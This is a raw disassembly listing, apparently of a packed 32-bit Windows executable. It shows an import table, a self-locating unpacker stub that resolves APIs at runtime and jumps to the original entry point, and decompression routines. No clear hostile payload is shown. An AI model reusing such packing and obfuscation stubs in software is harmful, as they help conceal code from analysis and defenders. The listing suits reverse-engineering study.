jnb short near ptr loc_448AC5+1
jb short loc_448A9A
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_448A5B: ; CODE XREF: .text:loc_4489E4j
add [edx], cl
add [ebx+65h], edx
jz short loc_448AB6
imul ebp, [ebp+65h], 1B000072h
add [edi+ebp*2+61h], cl
db 64h
dec ecx
arpl [edi+6Eh], bp
inc ecx
add [eax+1], al
dec ebp
db 65h
jnb short loc_448AED
popa
db 67h, 65h
inc edx
outsd
loc_448A7F: ; CODE XREF: .text:loc_448A38j
js short loc_448AC2
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 65470023h, 73654D74h, 65676173h, 41h, 65470169h
db 74h, 57h
; ---------------------------------------------------------------------------
loc_448A9A: ; CODE XREF: .text:00448A57j
imul ebp, [esi+64h], 6F4C776Fh
outsb
loc_448AA2: ; CODE XREF: .text:00448A3Bj
db 67h
inc ecx
; ---------------------------------------------------------------------------
dd 0
dd 6553016Bh, 6E695774h
; ---------------------------------------------------------------------------
loc_448AB0: ; CODE XREF: .text:00448A40j
outs dx, dword ptr fs:[esi]
ja short loc_448B00
outsd
outsb
loc_448AB6: ; CODE XREF: .text:00448A60j
db 67h
inc ecx
; ---------------------------------------------------------------------------
dd 0
dd 7243016Eh
db 65h, 61h
; ---------------------------------------------------------------------------
loc_448AC2: ; CODE XREF: .text:loc_448A7Fj
jz short loc_448B29
inc esp
loc_448AC5: ; CODE XREF: .text:00448A55j
; .text:00448A53j
db 65h
jnb short loc_448B33
jz short near ptr loc_448B37+2
jo short near ptr loc_448B0C+1
; ---------------------------------------------------------------------------
dd 0
dd 65530175h, 72685474h, 44646165h, 746B7365h, 706Fh, 65470176h
dd 72685474h
db 65h
; ---------------------------------------------------------------------------
loc_448AED: ; CODE XREF: .text:00448A77j
popa
db 64h
inc esp
db 65h
jnb short loc_448B5E
jz short near ptr loc_448B63+1
jo short $+2
add [edi], ah
add [edx+esi*2+61h], dl
outsb
jnb short loc_448B6C
loc_448B00: ; CODE XREF: .text:00448AB2j
popa
jz short near ptr loc_448B67+1
dec ebp
db 65h
jnb short loc_448B7A
popa
add gs:[bx+si], al
loc_448B0C: ; CODE XREF: .text:00448ACAj
sub [eax], al
inc esp
imul esi, [ebx+70h], 68637461h
dec ebp
db 65h
jnb short loc_448B8D
popa
db 67h, 65h
inc ecx
; ---------------------------------------------------------------------------
dw 0
dd 737701FBh, 6E697270h
db 74h
; ---------------------------------------------------------------------------
loc_448B29: ; CODE XREF: .text:loc_448AC2j
inc cx
add [eax+eax], dh
push ebx
outs dx, byte ptr gs:[esi]
db 64h
dec ebp
loc_448B33: ; CODE XREF: .text:loc_448AC5j
db 65h
jnb short loc_448BA9
popa
loc_448B37: ; CODE XREF: .text:00448AC8j
db 67h, 65h
inc ecx
; ---------------------------------------------------------------------------
dw 0
dd 65520005h, 74736967h, 6C437265h, 41737361h, 0
dd 6F500041h, 75517473h, 654D7469h
; ---------------------------------------------------------------------------
jnb short loc_448BD1
loc_448B5E: ; CODE XREF: .text:00448AF0j
popa
add gs:[bx+si], al
loc_448B63: ; CODE XREF: .text:00448AF3j
add [edi+0], cl
push ebx
loc_448B67: ; CODE XREF: .text:00448B01j
push 6957776Fh
loc_448B6C: ; CODE XREF: .text:00448AFEj
outsb
outs dx, dword ptr fs:[esi]
ja short $+2
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 72430053h
db 65h, 61h
; ---------------------------------------------------------------------------
loc_448B7A: ; CODE XREF: .text:00448B04j
jz short loc_448BE1
push edi
imul ebp, [esi+64h], 7845776Fh
inc ecx
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
push ebp
add [ebp+73h], al
loc_448B8D: ; CODE XREF: .text:00448B17j
jz short near ptr loc_448BFF+2
outsd
jns short loc_448BE9
imul ebp, [esi+64h], 5A00776Fh
add [ebp+6Fh], cl
jbe short near ptr loc_448BFF+4
push edi
imul ebp, [esi+64h], 776Fh
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
popa
loc_448BA9: ; CODE XREF: .text:loc_448B33j
add [ebp+66h], al
push edi
imul ebp, [esi+64h], 7250776Fh
outsd
arpl [ecx+0], ax
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 65470089h, 6F745374h, 624F6B63h, 7463656Ah, 0
db 0CAh
; ---------------------------------------------------------------------------
loc_448BD1: ; CODE XREF: .text:00448B5Cj
add [ebx+65h], dl
jz short loc_448C18
imul eax, [ebx+6Fh], 6Ch
outsd
jb short $+2
; ---------------------------------------------------------------------------
db 3 dup(0)
db 0DDh
; ---------------------------------------------------------------------------
loc_448BE1: ; CODE XREF: .text:loc_448B7Aj
add [ebx+65h], dl
jz short loc_448C3A
db 65h
js short loc_448C5D
loc_448BE9: ; CODE XREF: .text:00448B90j
inc ebx
outsd
insb
outsd
jb short $+2
add dl, bh
add [ebx+72h], al
db 65h
popa
jz short loc_448C5D
inc edx
jb short loc_448C70
jnb short near ptr loc_448C63+2
dec ecx
outsb
loc_448BFF: ; CODE XREF: .text:loc_448B8Dj
; .text:00448B9Cj
imul esi, fs:[edx+65h], 7463h
add [eax+eax], bl
inc ebx
jb short loc_448C72
popa
jz short loc_448C75
inc esi
outsd
outsb
jz short near ptr word_448C56
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_448C18: ; CODE XREF: .text:00448BD4j
sbb [eax], al
dec edi
jo short loc_448C82
outsb
push eax
jb short loc_448C90
arpl [ebp+73h], sp
jnb short near ptr loc_448C77+3
outsd
imul esp, [ebp+6Eh], 0
add [edx], bl
add [edi+65h], al
jz short near ptr loc_448C85+1
outsd
imul esp, [ebp+6Eh], 49h
outsb
outsw
loc_448C3A: ; CODE XREF: .text:00448BE4j
jb short near ptr loc_448CA8+1
popa
jz short loc_448CA8
outsd
outsb
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 65520173h, 65724367h, 4B657461h, 78457965h
db 41h, 0
word_448C56 dw 0 ; CODE XREF: .text:00448C13j
dd 65520176h
db 67h
; ---------------------------------------------------------------------------
loc_448C5D: ; CODE XREF: .text:00448BE6j
; .text:00448BF6j
inc ebx
insb
outsd
jnb short loc_448CC7
dec ebx
loc_448C63: ; CODE XREF: .text:00448BFBj
db 65h
jns short $+3
; ---------------------------------------------------------------------------
dw 0
dd 6552017Bh, 65704F67h
; ---------------------------------------------------------------------------
loc_448C70: ; CODE XREF: .text:00448BF9j
outsb
dec ebx
loc_448C72: ; CODE XREF: .text:00448C0Bj
db 65h
jns short loc_448CBA
loc_448C75: ; CODE XREF: .text:00448C0Ej
js short loc_448CB8
loc_448C77: ; CODE XREF: .text:00448C24j
add [esi+67655201h], al
push ecx
jnz short loc_448CE5
jb short loc_448CFB
loc_448C82: ; CODE XREF: .text:00448C1Bj
push esi
popa
insb
loc_448C85: ; CODE XREF: .text:00448C30j
jnz short near ptr loc_448CEA+2
inc ebp
js short near ptr loc_448CC9+2
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
xchg eax, edx
add [edx+65h], edx
loc_448C90: ; CODE XREF: .text:00448C1Fj
db 67h
push ebx
db 65h
jz short near ptr loc_448CEA+1
popa
insb
jnz short loc_448CFE
inc ebp
js short loc_448CDD
; ---------------------------------------------------------------------------
dd 0
db 0CCh
db 1, 47h, 65h
dd 63655374h
; ---------------------------------------------------------------------------
loc_448CA8: ; CODE XREF: .text:00448C3Dj
; .text:loc_448C3Aj
jnz short near ptr loc_448D16+6
imul esi, [ecx+edi*2+49h], 6F666Eh
; ---------------------------------------------------------------------------
dw 0
dd 655301CFh
; ---------------------------------------------------------------------------
loc_448CB8: ; CODE XREF: .text:loc_448C75j
jz short near ptr byte_448D0D
loc_448CBA: ; CODE XREF: .text:loc_448C72j
arpl gs:[ebp+72h], si
imul esi, [ecx+edi*2+49h], 6F666Eh
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
loc_448CC7: ; CODE XREF: .text:00448C60j
add dh, dl
loc_448CC9: ; CODE XREF: .text:00448C88j
add [ebx+65h], edx
jz short loc_448D13
outsb
jz short loc_448D43
imul esp, [ebp+73h], 63416E49h
insb
inc ecx
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
dec edx
loc_448CDD: ; CODE XREF: .text:00448C9Aj
add [edi+65h], al
jz short loc_448D35
; ---------------------------------------------------------------------------
dw 6469h
; ---------------------------------------------------------------------------
dec ecx
loc_448CE5: ; CODE XREF: .text:00448C7Ej
db 64h
outs dx, byte ptr gs:[esi]
jz short near ptr loc_448D51+2
loc_448CEA: ; CODE XREF: .text:00448C92j
; .text:loc_448C85j
imul sp, [ebp+72h], 7541h
jz short near ptr loc_448D56+4
outsd
jb short near ptr loc_448D5D+1
jz short loc_448D70
add [ebx+0], cl
inc edi
loc_448CFB: ; CODE XREF: .text:00448C80j
db 65h
jz short loc_448D51
loc_448CFE: ; CODE XREF: .text:00448C97j
imul esp, [ebx+edx*2+75h], 74754162h
push 7469726Fh
jns short $+2
; ---------------------------------------------------------------------------
byte_448D0D db 3 dup(0) ; CODE XREF: .text:loc_448CB8j
db 4Ch, 0, 47h
; ---------------------------------------------------------------------------
loc_448D13: ; CODE XREF: .text:00448CCCj
db 65h
jz short near ptr loc_448D68+1
loc_448D16: ; CODE XREF: .text:loc_448CA8j
imul esp, [ebx+edx*2+75h], 74754162h
push 7469726Fh
jns short loc_448D68
outsd
jnz short loc_448D96
jz short $+2
; ---------------------------------------------------------------------------
dw 0
dd 695F00E8h, 616F74h
db 18h
; ---------------------------------------------------------------------------
loc_448D35: ; CODE XREF: .text:00448CE0j
add [edi+5Fh], bl
inc edi
db 65h
jz short loc_448D89
popa
; ---------------------------------------------------------------------------
db 69h, 6Eh, 41h
db 72h, 67h, 73h
; ---------------------------------------------------------------------------
loc_448D43: ; CODE XREF: .text:00448CCFj
add [ecx+6C735F01h], al
db 65h, 65h
jo short $+4
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
cmpsb
loc_448D51: ; CODE XREF: .text:loc_448CFBj
; .text:00448CE8j
add [edi+73h], ebx
jz short near ptr dword_448DC8
loc_448D56: ; CODE XREF: .text:00448CF0j
imul esp, [ebx+6Dh], 0F6000070h
loc_448D5D: ; CODE XREF: .text:00448CF3j
add [ecx+62h], esp
jnb short $+2
; ---------------------------------------------------------------------------
dw 0
dd 7865020Ah
; ---------------------------------------------------------------------------
loc_448D68: ; CODE XREF: .text:00448D23j
; .text:loc_448D13j
imul esi, [eax+eax+0], 656D0253h
loc_448D70: ; CODE XREF: .text:00448CF5j
insd
arpl [ebp+70h], bp
; ---------------------------------------------------------------------------
dd 0
dd 656D0254h, 7970636Dh, 0
dd 656D0256h
db 6Dh
; ---------------------------------------------------------------------------
loc_448D89: ; CODE XREF: .text:00448D39j
jnb short loc_448DF0
jz short $+2
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 61720260h
db 69h, 73h
; ---------------------------------------------------------------------------
loc_448D96: ; CODE XREF: .text:00448D26j
add gs:[ecx+2], ah
jb short near ptr byte_448DFD
outsb
add fs:[eax], al
push 2
jnb short loc_448E0D
outs dx, byte ptr [si]
popa
insb
; ---------------------------------------------------------------------------
dd 0
dd 7073026Dh, 746E6972h, 66h, 7273026Fh, 646E61h, 73730270h
dd 666E6163h
dword_448DC8 dd 0 dd 74730271h, 74616372h, 0
dd 74730272h, 72686372h, 0
dd 7473027Bh, 6D636E72h, 70h
; ---------------------------------------------------------------------------
loc_448DF0: ; CODE XREF: .text:loc_448D89j
dec edi
dec esp
inc ebp
inc ecx
push ebp
push esp
xor esi, [edx]
db 2Eh
inc esp
dec esp
dec esp
; ---------------------------------------------------------------------------
db 0
byte_448DFD db 3 dup(0) ; CODE XREF: .text:00448D9Aj
dd offset off_448000
; ---------------------------------------------------------------------------
push edi
dec ecx
dec esi
dec ecx
dec esi
inc ebp
push esp
db 2Eh
inc esp
loc_448E0D: ; CODE XREF: .text:00448DA2j
dec esp
dec esp
add [eax+eax*4], dl
inc esp
add [eax+eax*4], dl
inc esp
add [edi+6Ch], ch
xor esi, gs:[edx]
db 2Eh
inc esp
dec esp
dec esp
; ---------------------------------------------------------------------------
db 3 dup(0)
dd offset off_448028
dd offset off_448028
dd offset off_448028
dd offset off_448028
dd 4E52454Bh, 32334C45h, 6C6C642Eh, 0
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd offset off_44803C
dd 52455355h, 442E3233h, 4C4Ch, 1Dh dup(448050h), 33494447h
dd 4C442E32h, 4Ch, 5 dup(448064h), 41564441h, 32334950h
dd 4C4C442Eh, 0
dd offset off_448078
dd offset off_448078
dd offset off_448078
dd offset off_448078
dd offset off_448078
dd offset off_448078
dd offset off_448078
dd offset off_448078
dd offset off_448078
dd offset off_448078
dd offset off_448078
dd offset off_448078
dd offset off_448078
dd 44545243h, 442E4C4Ch, 4C4Ch, 12h dup(44808Ch), 3EBh dup(0)
db 90h
; ---------------------------------------------------------------------------
pusha
call sub_44A577
jmp short loc_44A055
; ---------------------------------------------------------------------------
align 4
dd 0D9000000h, 4873h, 90DB8700h, 6 dup(0)
dd 4A00001h, 9B000000h, 9A000000h, 3951F000h, 39523800h
dd 4 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_44A055: ; CODE XREF: .text:0044A007j
mov ebx, 4439A4h
add ebx, ebp
sub ebx, [ebp+4439D5h]
cmp dword ptr [ebp+444804h], 0
mov [ebp+444804h], ebx
jnz loc_44A4DB
lea eax, [ebp+44480Ch]
push eax
call dword ptr [ebp+444918h]
mov [ebp+444808h], eax
mov edi, eax
lea ebx, [ebp+444819h]
push ebx
push eax
call dword ptr [ebp+444914h]
mov [ebp+4439E1h], eax
lea ebx, [ebp+444826h]
push ebx
push edi
call dword ptr [ebp+444914h]
mov [ebp+4439E5h], eax
lea eax, [ebp+443B72h]
jmp eax
; ---------------------------------------------------------------------------
align 10h
dd 40h, 2 dup(0)
dd 80000000h, 12190004h, 2 dup(0)
dd 10000000h, 0BC980000h, 0C0000000h, 0BBCC0003h, 80000000h
dd 10540004h, 36h dup(0)
dd 9D8B0000h, 443A66h, 0A74DB0Bh, 8587038Bh, 443A6Ah, 0B58D0389h
dd 443A82h, 0F003E83h, 11D84h, 82B58D00h, 6A00443Ah, 10006804h
dd 680000h, 6A000018h, 0E195FF00h, 89004439h, 4439DD85h
dd 4468B00h, 10E05h, 68046A00h, 1000h, 0FF006A50h, 4439E195h
dd 0D9858900h, 56004439h, 9D031E8Bh, 444804h, 39DDB5FFh
dd 76FF0044h, 0E8535004h, 339h, 39D4BD80h, 75000044h, 0D485FE5Ch
dd 8B004439h, 4BD033Eh, 0FF004448h, 0C307C637h, 78FD7FFh
dd 53565150h, 0E983C88Bh, 0D9B58B06h, 33004439h, 74C90BDBh
dd 0E83CAC2Ch, 0EB0A74h, 474E93Ch, 0EDEB4943h, 0EB068Bh
dd 75063E80h, 0C10024F3h, 0C32B18C0h, 0C3830689h, 4C68305h
dd 0EB05E983h, 595E5BD0h, 8BC88B58h, 4BD033Eh, 8B004448h
dd 4439D9B5h, 2F9C100h, 0C88BA5F3h, 0F303E183h, 685EA4h
dd 6A000080h, 0D9B5FF00h, 0FF004439h, 4439E595h, 8C68300h
dd 0F003E83h, 0FFFF2885h, 800068FFh, 6A0000h, 39DDB5FFh
dd 95FF0044h, 4439E5h, 3A669D8Bh, 0DB0B0044h, 38B0874h
dd 3A6A8587h, 958B0044h, 444804h, 3A62858Bh, 0D02B0044h
dd 0C28B7974h, 3310E8C1h, 6EB58BDBh, 300443Ah, 444804B5h
dd 3E8300h, 4E8B6174h, 8E98304h, 3E8BE9D1h, 4804BD03h
dd 0C6830044h, 1E8B6608h, 830CEBC1h, 0C7401FBh, 7402FB83h
dd 3FB8316h, 2CEB2074h, 811E8B66h, 0FFFE3h, 4016600h, 661DEB1Fh
dd 0E3811E8Bh, 0FFFh, 1F140166h, 8B660EEBh, 0FFE3811Eh
dd 100000Fh, 0EB1F14h, 0FF0E8366h, 0E202C683h, 8B9AEBB4h
dd 44480495h, 0ADB58B00h, 0B004439h, 31174F6h, 0C00BADF2h
dd 0C2030A74h, 0AD66F88Bh, 0F1EBAB66h, 3A72B58Bh, 958B0044h
dd 444804h, 468BF203h, 0FC0850Ch, 10A84h, 8BC20300h, 95FF50D8h
dd 444918h, 775C085h, 1C95FF53h, 89004449h, 4439B185h
dd 0B585C700h, 4439h, 8B000000h, 44480495h, 85068B00h
dd 8B0375C0h, 0C2031046h, 39B58503h, 188B0044h, 3107E8Bh
dd 0B5BD03FAh, 85004439h, 0A2840FDBh, 0F7000000h, 0C3h
dd 3047580h, 534343DAh, 0FFFFE381h, 0FF537FFFh, 4439B1B5h
dd 1495FF00h, 85004449h, 6F755BC0h, 0C3F7h, 19758000h
dd 0C468B57h, 48048503h, 53500044h, 487F858Dh, 57500044h
dd 99E9h, 0FFE38100h, 8B7FFFFFh, 44480885h, 0B1853900h
dd 75004439h, 0D38B5724h, 2E2C14Ah, 39B19D8Bh, 7B8B0044h
dd 3B7C8B3Ch, 3B5C0378h, 13048B1Ch, 39B18503h, 0EB5F0044h
dd 468B5716h, 485030Ch, 50004448h, 0D0858D53h, 50004448h
dd 894BEB57h, 0B5858307h, 4004439h, 0FFFF32E9h, 890689FFh
dd 46890C46h, 14C68310h, 4804958Bh, 0EBE90044h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_44A4DB: ; CODE XREF: .text:0044A06Fj
mov eax, [ebp+443A76h]
push eax
add eax, [ebp+444804h]
pop ecx
or ecx, ecx
mov [ebp+443EA1h], eax
popa
jnz short loc_44A4FC
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_44A4FC: ; CODE XREF: .text:0044A4F2j
push offset start
retn
; ---------------------------------------------------------------------------
mov eax, [ebp+444808h]
lea ecx, [ebp+444841h]
push ecx
push eax
call dword ptr [ebp+444914h]
mov [ebp+4439EDh], eax
lea eax, [ebp+444851h]
push eax
call dword ptr [ebp+44491Ch]
mov [ebp+44484Dh], eax
lea ecx, [ebp+44485Ch]
push ecx
push eax
call dword ptr [ebp+444914h]
mov [ebp+4439F1h], eax
mov eax, [ebp+44484Dh]
lea ecx, [ebp+444868h]
push ecx
push eax
call dword ptr [ebp+444914h]
call eax
add esp, 10h
pop edi
push 30h
lea ebx, [ebp+444872h]
push ebx
push edi
push 0
call dword ptr [ebp+4439F1h]
push 0FFFFFFFFh
call dword ptr [ebp+4439EDh]
; =============== S U B R O U T I N E =======================================
sub_44A577 proc near ; CODE XREF: .text:0044A002p
mov ebp, [esp+0]
sub ebp, 4439ABh
retn
sub_44A577 endp
; ---------------------------------------------------------------------------
mov eax, [esp+10h]
sub esp, 354h
lea ecx, [esp+4]
push eax
call sub_44A93D
mov ecx, [esp+35Ch]
mov edx, [esp+358h]
push ecx
push edx
lea ecx, [esp+0Ch]
call sub_44A9BB
test al, al
jnz short loc_44A5BC
or eax, 0FFFFFFFFh
add esp, 354h
retn
; ---------------------------------------------------------------------------
loc_44A5BC: ; CODE XREF: .text:0044A5B0j
mov ecx, [esp+360h]
lea eax, [esp]
push eax
push ecx
lea ecx, [esp+0Ch]
call sub_44ABC0
test al, al
jnz short loc_44A5DF
or eax, 0FFFFFFFFh
add esp, 354h
retn
; ---------------------------------------------------------------------------
loc_44A5DF: ; CODE XREF: .text:0044A5D3j
mov eax, [esp]
add esp, 354h
retn 10h
; ---------------------------------------------------------------------------
align 4
dd 4030201h, 8070605h, 100E0C0Ah, 201C1814h, 40383028h
dd 80706050h, 0E0C0A0h, 0
dd 1000000h, 2010101h, 3020202h, 4030303h, 5040404h, 50505h
dd 1000000h, 3020201h, 5040403h, 7060605h, 9080807h, 0B0A0A09h
dd 0D0C0C0Bh, 0F0E0E0Dh, 1110100Fh, 3 dup(11111111h), 12121211h
dd 12121212h
db 12h
; =============== S U B R O U T I N E =======================================
sub_44A65D proc near ; CODE XREF: sub_44AA1C+13p
; sub_44AA1C+30p ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
mov edx, ecx
push esi
mov ecx, 8
push edi
cmp [edx+4], ecx
jb short loc_44A6A1
push ebx
mov esi, 0FFFFFFF8h
loc_44A672: ; CODE XREF: sub_44A65D+41j
mov eax, [edx]
mov bl, [eax]
inc eax
mov byte ptr [esp+10h+var_4], bl
mov [edx], eax
mov eax, [edx+8]
mov edi, [esp+10h+var_4]
shl eax, 8
and edi, 0FFh
or eax, edi
mov edi, [edx+4]
add edi, esi
mov [edx+8], eax
mov eax, edi
mov [edx+4], edi
cmp eax, ecx
jnb short loc_44A672
pop ebx
loc_44A6A1: ; CODE XREF: sub_44A65D+Dj
mov esi, [edx+4]
mov eax, [edx+8]
mov edi, [esp+0Ch+arg_0]
sub ecx, esi
shr eax, cl
mov ecx, 18h
sub ecx, edi
and eax, 0FFFFFFh
shr eax, cl
add esi, edi
pop edi
mov [edx+4], esi
pop esi
pop ecx
retn 4
sub_44A65D endp
; =============== S U B R O U T I N E =======================================
sub_44A6C8 proc near ; CODE XREF: sub_44A93D+3Ep
; sub_44A93D+4Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov edx, [esp+arg_4]
mov [ecx+84h], eax
mov [ecx+88h], edx
lea eax, [edx+eax*4]
mov [ecx+8Ch], eax
add eax, 100h
retn 8
sub_44A6C8 endp
; =============== S U B R O U T I N E =======================================
sub_44A6ED proc near ; CODE XREF: sub_44AA1C+4Cp
; sub_44AA1C+F7p ...
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
arg_0 = dword ptr 4
sub esp, 98h
push ebx
push ebp
push esi
mov edx, ecx
push edi
mov ecx, 0Fh
mov ebp, [edx+84h]
xor eax, eax
lea edi, [esp+0A8h+var_7C]
xor esi, esi
rep stosd
mov edi, [esp+0A8h+arg_0]
cmp ebp, esi
mov [esp+0A8h+var_88], edx
jbe short loc_44A732
loc_44A71D: ; CODE XREF: sub_44A6ED+43j
xor ecx, ecx
mov cl, [eax+edi]
mov ebx, [esp+ecx*4+0A8h+var_80]
lea ecx, [esp+ecx*4+0A8h+var_80]
inc ebx
inc eax
cmp eax, ebp
mov [ecx], ebx
jb short loc_44A71D
loc_44A732: ; CODE XREF: sub_44A6ED+2Ej
mov ecx, 17h
mov [esp+0A8h+var_80], esi
mov [edx+4], esi
mov [edx+44h], esi
mov [esp+0A8h+var_40], esi
xor edi, edi
mov [esp+0A8h+var_8C], esi
mov [esp+0A8h+var_98], 1
mov [esp+0A8h+var_90], ecx
lea ebp, [edx+8]
mov [esp+0A8h+var_94], esi
loc_44A75E: ; CODE XREF: sub_44A6ED+109j
mov eax, [esp+esi+0A8h+var_7C]
shl eax, cl
add edi, eax
cmp edi, 1000000h
mov [esp+0A8h+var_84], edi
ja loc_44A804
mov eax, [esp+esi+0A8h+var_80]
mov [ebp+0], edi
mov ebx, [ebp+3Ch]
add eax, ebx
cmp ecx, 10h
mov [ebp+40h], eax
mov [esp+esi+0A8h+var_3C], eax
jl short loc_44A7DB
mov esi, [ebp+0]
mov eax, [esp+0A8h+var_98]
mov ebx, [esp+0A8h+var_8C]
mov edi, [edx+8Ch]
shr esi, 10h
mov ecx, esi
and eax, 0FFh
sub ecx, ebx
add edi, ebx
mov bl, al
mov edx, ecx
mov bh, bl
mov [esp+0A8h+var_8C], esi
mov eax, ebx
mov esi, [esp+0A8h+var_94]
shl eax, 10h
mov ax, bx
shr ecx, 2
rep stosd
mov ecx, edx
mov edx, [esp+0A8h+var_88]
and ecx, 3
rep stosb
mov edi, [esp+0A8h+var_84]
mov ecx, [esp+0A8h+var_90]
loc_44A7DB: ; CODE XREF: sub_44A6ED+9Fj
mov eax, [esp+0A8h+var_98]
add esi, 4
inc eax
dec ecx
add ebp, 4
cmp ecx, 9
mov [esp+0A8h+var_98], eax
mov [esp+0A8h+var_90], ecx
mov [esp+0A8h+var_94], esi
jge loc_44A75E
cmp edi, 1000000h
jz short loc_44A813
loc_44A804: ; CODE XREF: sub_44A6ED+83j
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 98h
retn 4
; ---------------------------------------------------------------------------
loc_44A813: ; CODE XREF: sub_44A6ED+115j
mov eax, [edx+84h]
xor ecx, ecx
test eax, eax
jbe short loc_44A85A
mov esi, [esp+0A8h+arg_0]
loc_44A826: ; CODE XREF: sub_44A6ED+16Bj
mov al, [ecx+esi]
test al, al
jz short loc_44A84F
mov edi, [edx+88h]
and eax, 0FFh
mov eax, [esp+eax*4+0A8h+var_40]
mov [edi+eax*4], ecx
xor eax, eax
mov al, [ecx+esi]
mov edi, [esp+eax*4+0A8h+var_40]
lea eax, [esp+eax*4+0A8h+var_40]
inc edi
mov [eax], edi
loc_44A84F: ; CODE XREF: sub_44A6ED+13Ej
mov eax, [edx+84h]
inc ecx
cmp ecx, eax
jb short loc_44A826
loc_44A85A: ; CODE XREF: sub_44A6ED+130j
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 98h
retn 4
sub_44A6ED endp
; =============== S U B R O U T I N E =======================================
sub_44A869 proc near ; CODE XREF: sub_44AA1C+64p
; sub_44ABC0+28p ...
var_4 = dword ptr -4
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi]
cmp dword ptr [eax+4], 8
jb short loc_44A8A7
loc_44A877: ; CODE XREF: sub_44A869+3Cj
mov ecx, [eax]
mov dl, [ecx]
inc ecx
mov byte ptr [esp+10h+var_4], dl
mov [eax], ecx
mov ecx, [eax+8]
mov edx, [esp+10h+var_4]
shl ecx, 8
and edx, 0FFh
or ecx, edx
mov edx, [eax+4]
add edx, 0FFFFFFF8h
mov [eax+8], ecx
mov ecx, edx
mov [eax+4], edx
cmp ecx, 8
jnb short loc_44A877
loc_44A8A7: ; CODE XREF: sub_44A869+Cj
mov edx, [eax+4]
mov eax, [eax+8]
mov ecx, 8
sub ecx, edx
shr eax, cl
mov ecx, [esi+24h]
and eax, 0FFFE00h
cmp eax, ecx
jnb short loc_44A8D6
mov edx, [esi+8Ch]
mov ecx, eax
shr ecx, 10h
xor ebx, ebx
mov bl, [ecx+edx]
mov edx, ebx
jmp short loc_44A911
; ---------------------------------------------------------------------------
loc_44A8D6: ; CODE XREF: sub_44A869+57j
cmp eax, [esi+2Ch]
jnb short loc_44A8E5
cmp eax, [esi+28h]
sbb edx, edx
add edx, 0Ah
jmp short loc_44A911
; ---------------------------------------------------------------------------
loc_44A8E5: ; CODE XREF: sub_44A869+70j
cmp eax, [esi+30h]
jnb short loc_44A8F1
mov edx, 0Bh
jmp short loc_44A911
; ---------------------------------------------------------------------------
loc_44A8F1: ; CODE XREF: sub_44A869+7Fj
cmp eax, [esi+34h]
jnb short loc_44A8FD
mov edx, 0Ch
jmp short loc_44A911
; ---------------------------------------------------------------------------
loc_44A8FD: ; CODE XREF: sub_44A869+8Bj
cmp eax, [esi+38h]
jnb short loc_44A909
mov edx, 0Dh
jmp short loc_44A911
; ---------------------------------------------------------------------------
loc_44A909: ; CODE XREF: sub_44A869+97j
cmp eax, [esi+3Ch]
sbb edx, edx
add edx, 0Fh
loc_44A911: ; CODE XREF: sub_44A869+6Bj
; sub_44A869+7Aj ...
mov ecx, [esi]
mov edi, [ecx+4]
add edi, edx
mov [ecx+4], edi
mov ebx, [esi+edx*4]
mov ecx, 18h
sub eax, ebx
sub ecx, edx
pop edi
shr eax, cl
mov ecx, [esi+edx*4+44h]
add eax, ecx
mov ecx, [esi+88h]
pop esi
pop ebx
mov eax, [ecx+eax*4]
pop ecx
retn
sub_44A869 endp
; =============== S U B R O U T I N E =======================================
sub_44A93D proc near ; CODE XREF: .text:0044A590p
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov edi, ecx
xor edx, edx
xor eax, eax
lea esi, [edi+268h]
loc_44A94C: ; CODE XREF: sub_44A93D+2Fj
mov [esi], edx
push esi
call sub_44ABB2
mov cl, [eax+esi+443FC7h]
pop esi
mov ebx, 1
add esi, 4
shl ebx, cl
add edx, ebx
inc eax
cmp eax, 3Ah
jb short loc_44A94C
mov eax, [esp+0Ch+arg_0]
lea ecx, [edi+10h]
push eax
push 2D1h
call sub_44A6C8
push eax
push 1Ch
lea ecx, [edi+0A0h]
call sub_44A6C8
push eax
push 8
lea ecx, [edi+130h]
call sub_44A6C8
push eax
push 13h
lea ecx, [edi+1C0h]
call sub_44A6C8
mov [edi+260h], eax
